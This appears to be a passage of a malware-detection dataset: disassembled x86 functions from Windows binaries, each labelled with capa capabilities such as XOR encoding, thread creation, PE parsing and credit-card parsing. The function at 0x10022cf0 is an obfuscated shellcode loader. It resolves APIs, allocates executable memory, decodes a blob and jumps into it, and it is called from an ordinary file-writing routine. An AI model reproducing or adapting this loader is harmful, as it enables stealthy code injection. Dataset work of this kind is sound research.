joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1001cf50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x100df320]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x1001cf80
pop esi
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esi + 0x20]
mov eax, dword [eax]
test eax, eax
je 0x1001cfb0
mov edx, dword [esi + 0x30]
mov edx, dword [edx]
add edx, eax
cmp eax, edx
jae 0x1001cfb0
call dword [sym.imp.MSVCP140.dll_protected:_char____thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::_Pninc_void_]
pop esi
mov byte [eax], bl
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
cmp dword [esi + 0x4c], 0
push edi
je 0x1001d0ab
mov edi, dword [esi + 0xc]
lea eax, [esi + 0x3c]
cmp dword [edi], eax
jne 0x1001cfd9
mov edx, dword [esi + 0x54]
mov ecx, dword [esi + 0x50]
sub edx, ecx
mov dword [edi], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], edx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1001d00d
push dword [esi + 0x4c]
movsx eax, bl
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputc]
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
lea eax, [ebp - 0x2c]
mov byte [ebp - 0x28], bl
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x27]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::codecvt_char__char__struct__Mbstatet_::out_struct__Mbstatet___char_const___char_const___char_const____char___char___char___const]
sub eax, 0
je 0x1001d06c
sub eax, 1
je 0x1001d06c
sub eax, 2
jne 0x1001d0ab
push dword [esi + 0x4c]
push dword [ebp - 0x28]
call fcn.10022cf0
add esp, 8
or ecx, 0xffffffff
test al, al
cmovne ecx, ebx
pop edi
pop esi
mov eax, ecx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov edi, dword [ebp - 0x2c]
lea eax, [ebp - 0x24]
sub edi, eax
je 0x1001d08a
push dword [esi + 0x4c]
push edi
push 1
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x1001d0ab
lea eax, [ebp - 0x28]
mov byte [esi + 0x3d], 1
cmp dword [ebp - 0x30], eax
je 0x1001d0ab
pop edi
pop esi
mov eax, ebx
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
or eax, 0xffffffff
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100a7270
mov esp, ebp
pop ebp
ret 4
Function at 0x10022cf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10022cff
pop dword [ebp - 0x18]
mov eax, 0x10022cff
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0xafa191c8
sub dword [ebp - 0x28], 0x614f4c7d
mov dword [ebp - 0x24], 0xf4ec64ca
add dword [ebp - 0x24], 0x3d46e77b
mov dword [ebp - 0x20], 0x5895b337
add dword [ebp - 0x20], 0xf3b690f7
mov dword [ebp - 0x1c], 0x4c235d9
add dword [ebp - 0x1c], 0xfb3dca27
lea eax, [ebp - 0x28]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0x1ae23523
add dword [ebp - 0x28], 0x59903433
mov dword [ebp - 0x24], 0x82737c4e
sub dword [ebp - 0x24], 0x41071ad9
mov dword [ebp - 0x20], 0x52e81fcf
add dword [ebp - 0x20], 0x10874c9d
mov dword [ebp - 0x1c], 0x3b1871f5
sub dword [ebp - 0x1c], 0x3b1871f5
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, 0x9a73b81d
add eax, 0x7597b87f
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x5f502
push 0
call eax
mov ecx, 0x60c651cd
sub ecx, 0x60c60379
mov edi, eax
mov edx, 0x100f3400
add edx, dword [ebp - 0x18]
mov esi, 0xfb69600
sub dword [ebp - 0x14], 0xd3df9c57
mov ebx, dword [edx]
add dword [ebp - 0xc], 0x5953f97a
add ebx, esi
xor dword [ebp - 0x10], 0xa18d277e
mov dword [edi], ebx
add dword [ebp - 8], edi
add edi, 4
add edx, 0x9acbd4a0
sub edx, 0x9acbd49c
loop 0x10022e0b
add eax, 0x12c23
xor ebx, ebx
add ebx, eax
add eax, 0x5682b9be
add eax, 0xa97d4647
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x101cb80
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
lea eax, [ebp + 0xc]
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
pop ebp
ret 8

Function at 0x101cbb0
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 0xc]
push esi
lea eax, [ebp + 0x10]
push eax
push 0
push ecx
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov esi, eax
test esi, esi
je 0x101cbe0
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x1bc]
push esi
call ecx
xor eax, eax
test esi, esi
setne al
pop esi
pop ebp
ret 0xc

Function at 0x1020a40
Capabilities:
Get disk information via ioctl

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov ecx, dword [edi + 0x258]
xor ebx, ebx
push ebx
push 0x80
push 3
push ebx
push ebx
push ebx
push eax
call ecx
mov esi, eax
test esi, esi
je 0x1020a9c
cmp esi, 0xffffffff
je 0x1020a9c
mov eax, dword [ebp + 0x10]
mov ecx, dword [edi + 0x254]
push ebx
lea edx, [ebp + 0xc]
push edx
push 0xc
push eax
push ebx
push ebx
push 0x2d1080
push esi
call ecx
test eax, eax
je 0x1020a93
mov ebx, 1
mov edx, dword [edi + 0x1bc]
push esi
call edx
pop edi
pop esi
mov eax, ebx
pop ebx
pop ebp
ret 0xc

Function at 0x1020ce0
Capabilities:
Parse credit card information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword [ebp + 8]
push esi
push edi
xor edi, edi
test edx, edx
je 0x1020de1
mov eax, edx
cmp word [edx], di
je 0x1020d08
jmp 0x1020d00
add eax, 2
cmp word [eax], di
jne 0x1020d00
sub eax, edx
sar eax, 1
mov esi, eax
je 0x1020de1
xor ecx, ecx
test esi, esi
jbe 0x1020de1
mov edi, edi
movzx eax, word [edx + ecx*2]
cmp ax, 0x61
jb 0x1020d34
cmp ax, 0x7a
jbe 0x1020dbe
cmp ax, 0x41
jb 0x1020d40
cmp ax, 0x5a
jbe 0x1020dbe
cmp ax, 0x30
jb 0x1020d4c
cmp ax, 0x39
jbe 0x1020dbe
cmp ax, 0x2a
je 0x1020dbe
cmp ax, 0x2e
je 0x1020dc4
cmp ax, 0x2d
je 0x1020dbe
cmp ax, 0x7e
je 0x1020dbe
cmp ax, 0x5f
je 0x1020dbe
cmp ax, 0x3f
je 0x1020dbe
cmp ax, 0x25
je 0x1020dbe
cmp ax, 0x26
je 0x1020dbe
cmp ax, 0x24
je 0x1020dbe
cmp ax, 0x28
je 0x1020dbe
cmp ax, 0x3d
je 0x1020dbe
cmp ax, 0x29
je 0x1020dbe
cmp ax, 0x2c
je 0x1020dbe
cmp ax, 0x5c
je 0x1020dbe
cmp ax, 0x40
je 0x1020dbe
cmp ax, 0x2f
je 0x1020dbe
cmp ax, 0x3a
je 0x1020dbe
cmp ax, 0x21
je 0x1020dbe
cmp ax, 0x2b
jne 0x1020de1
cmp ax, 0x2e
jne 0x1020dc9
mov edi, 1
inc ecx
cmp ecx, esi
jb 0x1020d20
test edi, edi
je 0x1020de1
pop edi
mov eax, 1
pop esi
pop ebp
ret 4
pop edi
xor eax, eax
pop esi
pop ebp
ret 4
Function at 0x1021180
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x10211c8
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10211c7
mov ecx, 1
cmp edi, ecx
jbe 0x10211c4
movzx eax, byte [ebp + 0x10]
cdq
push ebx
mov ebx, 0xff
idiv ebx
lea eax, [esi + 1]
or esi, 0xffffffff
mov bl, dl
add bl, cl
xor bl, byte [esi + eax]
inc ecx
xor byte [eax], bl
inc eax
cmp ecx, edi
jb 0x10211b1
mov esi, dword [ebp + 8]
pop ebx
xor byte [esi], 0xac
pop edi
pop esi
pop ebp
ret 0xc

Function at 0x10211e0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
test esi, esi
je 0x1021223
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x1021223
xor byte [esi], 0xac
lea ecx, [eax - 1]
test ecx, ecx
jbe 0x1021223
movzx eax, byte [ebp + 0x10]
push edi
cdq
mov edi, 0xff
idiv edi
pop edi
lea eax, [ecx + esi]
or esi, 0xffffffff
push ebx
mov bl, dl
add bl, cl
xor bl, byte [esi + eax]
dec ecx
xor byte [eax], bl
dec eax
test ecx, ecx
ja 0x1021213
pop ebx
pop esi
pop ebp
ret 0xc
Function at 0x1021870
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
movzx eax, word [ecx + 0x14]
mov edx, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 0x14]
push edi
lea eax, [eax + ecx + 0x18]
mov edi, eax
sub edi, edx
cmp edi, esi
jae 0x10218c8
movzx ecx, word [ecx + 6]
lea edi, [ecx + ecx*4]
add edi, edi
add edi, edi
add edi, edi
sub edi, edx
add edi, eax
cmp edi, esi
jae 0x10218c8
xor esi, esi
test ecx, ecx
jbe 0x10218c8
mov edi, dword [ebp + 8]
nop
mov edx, dword [eax + 0xc]
cmp edi, edx
jb 0x10218c0
mov ebx, dword [eax + 8]
add ebx, edx
cmp edi, ebx
jb 0x10218ca
inc esi
add eax, 0x28
cmp esi, ecx
jb 0x10218b0
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x1021920
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
movzx eax, word [ecx + 0x14]
lea eax, [eax + ecx + 0x18]
mov edx, eax
sub edx, dword [ebp + 0x10]
push ebx
push esi
push edi
cmp edx, dword [ebp + 0x14]
jae 0x1021968
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
jbe 0x1021968
mov edi, dword [ebp + 8]
lea ebx, [ebx]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1021960
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x102196a
inc edx
add eax, 0x28
cmp edx, esi
jb 0x1021950
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret 0x10

Function at 0x1021d80
Capabilities:
Create thread

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push esi
push edi
push 0x15
push 8
xor edi, edi
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov esi, eax
test esi, esi
je 0x1021de4
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0x10]
mov dword [esi + 4], ecx
lea ecx, [ebp + 8]
push ecx
push edi
push esi
push 0x1021c70
mov dword [esi], eax
mov eax, dword [ebp + 0x14]
push edi
push edi
mov dword [esi + 8], edx
mov dword [esi + 0xc], eax
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov edi, eax
test edi, edi
je 0x1021dd8
cmp edi, 0xffffffff
jne 0x1021de6
push esi
push 0
call ebx
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
ret 0x10
Function at 0x1022470
Capabilities:
Compute adler32 checksum

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x10225a9
mov ebx, dword [ebp + 0x10]
test ebx, ebx
je 0x10225a9
push edi
mov edi, dword [ebp + 8]
movzx ecx, di
shr edi, 0x10
test ebx, ebx
jbe 0x102259b
nop
mov eax, ebx
cmp ebx, 0x15b0
jb 0x10224af
mov eax, 0x15b0
sub ebx, eax
cmp eax, 0x10
mov dword [ebp + 0x10], ebx
jl 0x102255e
mov edx, eax
shr edx, 4
mov ebx, edx
neg ebx
shl ebx, 4
add eax, ebx
jmp 0x10224d0
movzx ebx, byte [esi]
add ecx, ebx
movzx ebx, byte [esi + 1]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 2]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 3]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 4]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 5]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 6]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 7]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 8]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 9]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xa]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xb]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xc]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xd]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xe]
add edi, ecx
add ecx, ebx
movzx ebx, byte [esi + 0xf]
add edi, ecx
add ecx, ebx
add edi, ecx
add esi, 0x10
sub edx, 1
jne 0x10224d0
mov ebx, dword [ebp + 0x10]
test eax, eax
je 0x102256f
movzx edx, byte [esi]
add ecx, edx
inc esi
add edi, ecx
sub eax, 1
jne 0x1022562
mov eax, 0x80078071
mul ecx
shr edx, 0xf
imul edx, edx, 0xffff000f
add ecx, edx
mov eax, 0x80078071
mul edi
shr edx, 0xf
imul edx, edx, 0xffff000f
add edi, edx
test ebx, ebx
ja 0x10224a0
mov eax, edi
pop edi
shl eax, 0x10
pop esi
or eax, ecx
pop ebx
pop ebp
ret 0xc
pop esi
mov eax, 1
pop ebx
pop ebp
ret 0xc
Function at 0x10225c0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
test ecx, ecx
jne 0x10225d2
xor eax, eax
pop ebp
ret 0x10
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x14]
push edi
cmp esi, 8
jb 0x1022694
mov edi, esi
shr edi, 3
push ebx
lea esp, [esp]
movzx ebx, byte [ecx]
xor ebx, eax
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, 0xff
inc ecx
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
xor ebx, eax
and ebx, 0xff
inc ecx
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
xor ebx, eax
inc ecx
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
xor ebx, eax
inc ecx
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
xor ebx, eax
inc ecx
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
inc ecx
xor ebx, eax
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
movzx ebx, byte [ecx + 1]
inc ecx
xor ebx, eax
and ebx, 0xff
shr eax, 8
xor eax, dword [edx + ebx*4]
inc ecx
sub esi, 8
sub edi, 1
jne 0x10225f0
pop ebx
test esi, esi
je 0x10226b7
jmp 0x10226a0
movzx edi, byte [ecx]
xor edi, eax
and edi, 0xff
shr eax, 8
xor eax, dword [edx + edi*4]
inc ecx
sub esi, 1
jne 0x10226a0
pop edi
not eax
pop esi
pop ebp
ret 0x10

Function at 0x10227c0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
xor ecx, ecx
mov eax, 0xffff
test edx, edx
jbe 0x1022802
push esi
mov esi, dword [ebp + 8]
push edi
jmp 0x10227e0
movzx edi, byte [ecx + esi]
xor edi, eax
shr ax, 8
and edi, 0xff
xor ax, word [edi*2 + 0x11251f0]
inc ecx
movzx eax, ax
cmp ecx, edx
jb 0x10227e0
pop edi
pop esi
pop ebp
ret 8

Function at 0x1022990
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
cmp esi, 8
jge 0x10229a6
or eax, 0xffffffff
pop esi
pop ebp
ret 0x10
mov eax, esi
cdq
and edx, 3
add eax, edx
push ebx
sar eax, 2
xor ebx, ebx
xor ecx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jle 0x10229ca
mov dl, byte [edi]
cmp dl, byte [ecx + edi]
jne 0x10229f6
inc ecx
cmp ecx, eax
jl 0x10229c0
xor eax, eax
test esi, esi
jle 0x10229dd
mov cl, byte [edi]
cmp cl, byte [eax + edi]
je 0x10229d8
inc ebx
inc eax
cmp eax, esi
jl 0x10229d2
mov eax, esi
cdq
and edx, 0xf
add eax, edx
sar eax, 4
cmp ebx, eax
jge 0x10229f6
pop edi
pop ebx
or eax, 0xffffffff
pop esi
pop ebp
ret 0x10
test esi, esi
jle 0x1022a31
mov dword [ebp + 0x10], esi
mov esi, dword [ebp + 0x14]
mov edx, dword [esi + 4]
movzx ebx, byte [edi]
mov eax, dword [esi]
mov ecx, edx
shr ecx, 0x18
shld edx, eax, 8
movzx ecx, cl
xor ecx, ebx
shl eax, 8
mov ebx, eax
mov eax, dword [ebp + 8]
xor ebx, dword [eax + ecx*8]
xor edx, dword [eax + ecx*8 + 4]
inc edi
sub dword [ebp + 0x10], 1
mov dword [esi], ebx
mov dword [esi + 4], edx
jne 0x1022a00
pop edi
pop ebx
xor eax, eax
pop esi
pop ebp
ret 0x10
Function at 0x1022a40
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0x10]
xor eax, eax
xor edx, edx
test ecx, ecx
jle 0x1022a85
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp + 0x10], ecx
lea esp, [esp]
movzx ebx, byte [esi]
mov ecx, edx
shr ecx, 0x18
shld edx, eax, 8
movzx ecx, cl
xor ecx, ebx
xor edx, dword [edi + ecx*8 + 4]
shl eax, 8
xor eax, dword [edi + ecx*8]
inc esi
sub dword [ebp + 0x10], 1
jne 0x1022a60
pop edi
pop esi
pop ebx
pop ebp
ret 0xc
Function at 0x1022ee0
Capabilities:
Hash data using sha256

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0x6a09e667
mov dword [eax + 0xc], 0xbb67ae85
mov dword [eax + 0x10], 0x3c6ef372
mov dword [eax + 0x14], 0xa54ff53a
mov dword [eax + 0x18], 0x510e527f
mov dword [eax + 0x1c], 0x9b05688c
mov dword [eax + 0x20], 0x1f83d9ab
mov dword [eax + 0x24], 0x5be0cd19
pop ebp
ret 4
Function at 0x10258c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
ja 0x10258e0
jb 0x10258d8
mov ebx, dword [ebp + 0xc]
cmp ebx, 0x40
jae 0x10258e3
pop edi
xor eax, eax
pop ebx
pop ebp
ret 0x14
mov ebx, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
push esi
cmp word [ecx], ax
jne 0x1025aa0
mov eax, dword [ecx + 0x3c]
xor edx, edx
lea esi, [eax + 0xf8]
cmp edx, edi
ja 0x1025aa0
jb 0x1025912
cmp esi, ebx
ja 0x1025aa0
movzx edx, word [eax + ecx + 4]
mov esi, 0x8664
cmp dx, si
je 0x1025936
mov esi, 0x200
cmp dx, si
je 0x1025936
mov edx, dword [ebp + 0x18]
mov dword [edx], 0
jmp 0x102593f
mov edx, dword [ebp + 0x18]
mov dword [edx], 1
xor edx, edx
lea esi, [eax + 0xf8]
cmp edx, edi
ja 0x1025a3e
jb 0x1025959
cmp esi, ebx
ja 0x1025a3e
cmp dword [eax + ecx], 0x4550
jne 0x1025a3e
movzx edx, word [eax + ecx + 0x14]
mov esi, dword [ebp + 0x14]
lea ebx, [eax + edx + 0x18]
mov edx, dword [esi]
mov dword [esi + 4], 0
mov edi, edx
cmp edx, 0x1000
jb 0x102598a
mov edi, 0x1000
mov dword [esi + 8], edi
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], edx
movzx edx, word [eax + ecx + 6]
test edx, edx
jbe 0x1025a32
lea eax, [ebx + ecx + 0x10]
mov ebx, 0x18
sub ebx, ecx
nop
xor ecx, ecx
dec edx
lea edi, [ebx + eax]
cmp ecx, dword [ebp + 0x10]
ja 0x1025a32
jb 0x10259c2
cmp edi, dword [ebp + 0xc]
ja 0x1025a32
test byte [eax + 0x14], 0x20
je 0x10259d0
cmp dword [eax], 0x100
jae 0x10259e3
add eax, 0x28
test edx, edx
ja 0x10259b0
pop esi
pop edi
mov eax, 1
pop ebx
pop ebp
ret 0x14
test dword [eax + 0x14], 0x80000000
jne 0x1025a32
mov ecx, dword [eax + 4]
mov dword [esi + 4], ecx
mov ecx, dword [eax]
cmp ecx, 0x1000
jb 0x1025a01
mov ecx, 0x1000
mov dword [esi + 8], ecx
cmp dword [eax], 0x1200
jb 0x1025a27
mov edx, dword [eax + 4]
add edx, ecx
mov dword [esi + 0x14], edx
mov eax, dword [eax]
sub eax, ecx
mov dword [esi + 0x18], eax
pop esi
pop edi
mov eax, 1
pop ebx
pop ebp
ret 0x14
mov ecx, dword [eax + 4]
mov dword [esi + 0x14], ecx
mov edx, dword [eax]
mov dword [esi + 0x18], edx
pop esi
pop edi
mov eax, 1
pop ebx
pop ebp
ret 0x14
movzx esi, word [ecx + 8]
mov edx, dword [ebp + 0x14]
shl esi, 4
mov dword [edx + 4], esi
movzx eax, word [ecx + 4]
movzx ecx, word [ecx + 2]
dec eax
shl eax, 9
add eax, ecx
mov ecx, dword [edx]
cmp eax, ecx
jbe 0x1025a61
mov eax, ecx
mov ecx, eax
sub ecx, esi
cmp ecx, 0x200
jb 0x1025aa0
mov esi, 0x1000
cmp ecx, 0x1000
ja 0x1025a7c
mov esi, ecx
cmp ecx, 0x1200
mov ecx, dword [edx + 4]
mov dword [edx + 8], esi
jbe 0x1025a8c
add ecx, esi
pop esi
sub eax, ecx
pop edi
mov dword [edx + 0x18], eax
mov dword [edx + 0x14], ecx
mov eax, 1
pop ebx
pop ebp
ret 0x14
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret 0x14
Function at 0x10294c0
Capabilities:
Parse credit card information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 8]
push eax
push esi
mov dword [ebp - 8], 0
call fcn.01025eb0
fcomp qword [0x1009ec0]
fnstsw ax
test ah, 5
jp 0x10294f8
cmp byte [esi], 0x25
je 0x10294f8
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
mov al, byte [esi]
mov cl, byte [esi + 1]
cmp al, cl
jne 0x102950b
cmp al, byte [esi + 2]
jne 0x102950b
cmp al, byte [esi + 3]
je 0x10294ef
cmp al, 0x73
jne 0x1029520
cmp cl, 0x74
jne 0x1029520
cmp byte [esi + 2], 0x64
jne 0x1029520
cmp byte [esi + 3], 0x3a
je 0x10294ef
cmp al, 0x63
jne 0x102952f
cmp cl, 0x6c
jne 0x102952f
cmp byte [esi + 2], 0x57
je 0x10294ef
cmp al, 0x45
je 0x1029537
cmp al, 0x54
jne 0x1029548
movzx ecx, cl
push ecx
call dword [sym.imp.msvcrt.dll_isupper]
add esp, 4
test eax, eax
jne 0x10294ef
mov dl, byte [esi]
cmp dl, 0x2d
je 0x10294ef
cmp dl, 0x5f
je 0x10294ef
mov cl, byte [esi + 3]
cmp cl, byte [esi + 5]
jne 0x1029566
cmp cl, byte [esi + 7]
jne 0x1029566
cmp cl, byte [esi + 9]
je 0x10294ef
mov al, byte [esi + 2]
mov byte [ebp + 0xb], al
cmp dl, al
jne 0x1029579
cmp dl, byte [esi + 4]
je 0x10294ef
push ebx
mov bl, byte [esi + 4]
cmp al, bl
jne 0x1029586
cmp al, byte [esi + 6]
je 0x1029593
mov al, byte [esi + 6]
cmp al, byte [esi + 8]
jne 0x102959d
cmp al, byte [esi + 0xa]
jne 0x102959d
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
mov al, byte [esi + 1]
mov byte [ebp - 2], al
movzx eax, al
movzx edx, dl
push edi
lea edi, [eax - 1]
cmp edx, edi
jne 0x10295dd
movzx edx, byte [ebp + 0xb]
lea edi, [edx - 1]
cmp eax, edi
jne 0x10295dd
movzx ecx, cl
lea eax, [ecx - 1]
cmp edx, eax
jne 0x10295dd
movzx eax, bl
lea edx, [eax - 1]
cmp ecx, edx
jne 0x10295dd
movzx ecx, byte [esi + 5]
dec ecx
cmp eax, ecx
je 0x102966d
mov edi, dword [ebp + 0xc]
xor ebx, ebx
lea eax, [edi - 2]
xor ecx, ecx
mov dword [ebp - 0xc], ebx
lea edx, [ebx + 1]
test eax, eax
jbe 0x102964e
cmp edi, 6
jae 0x1029611
mov al, byte [ecx + esi]
cmp al, 0x5e
je 0x102966d
cmp al, 0x5b
je 0x102966d
cmp al, 0x5d
je 0x102966d
cmp al, 0x5f
je 0x102966d
cmp al, 0x3d
je 0x102966d
cmp al, 0x7d
je 0x102966d
mov al, byte [ecx + esi]
cmp al, 0x2e
je 0x102961c
cmp al, 0x5c
jne 0x102962b
cmp edi, 0x20
jae 0x102962b
mov ebx, dword [ebp - 0xc]
mov dword [ebp - 8], 1
cmp al, byte [esi + ecx + 1]
jne 0x1029634
inc edx
jmp 0x1029642
cmp edx, ebx
jle 0x102963d
mov ebx, edx
mov dword [ebp - 0xc], ebx
mov edx, 1
inc ecx
lea eax, [edi - 2]
cmp ecx, eax
jb 0x10295f1
cmp edx, ebx
jle 0x1029650
mov ebx, edx
cmp ebx, 4
jl 0x102965b
cmp dword [ebp - 8], 0
je 0x102966d
mov al, byte [esi]
cmp al, byte [ebp - 2]
jne 0x1029678
cmp al, byte [ebp + 0xb]
jne 0x1029678
cmp dword [ebp - 8], 0
jne 0x1029678
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
pop edi
pop ebx
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x102c560
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
xor dword [ebp + 8], 0x2d871bcc
xor eax, eax
lea ecx, [ebp + 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
mov byte [ebp - 4], al
dec ecx
mov eax, 1
mov dl, al
sub dl, 0x5c
xor dl, byte [eax + ecx]
inc eax
xor byte [ebp + eax + 7], dl
cmp eax, 4
jb 0x102c583
xor byte [ebp + 8], 0xac
lea eax, [ebp - 0xc]
push eax
push 4
lea ecx, [ebp + 8]
push ecx
call fcn.0101ddb0
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov dword [eax], edx
mov dword [eax + 4], ecx
mov esp, ebp
pop ebp
ret 8

Function at 0x102c5d0
Capabilities:
Encode data using xor

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
xor eax, eax
mov dword [ebp - 8], eax
mov byte [ebp - 4], al
mov eax, dword [ebp + 8]
push 8
push eax
lea ecx, [ebp - 8]
push ecx
call fcn.0101db60
mov edx, dword [ebp - 8]
mov al, dl
xor al, 0xac
mov dword [ebp + 8], edx
lea ecx, [ebp + 8]
mov byte [ebp + 8], al
dec ecx
mov eax, 3
mov dl, al
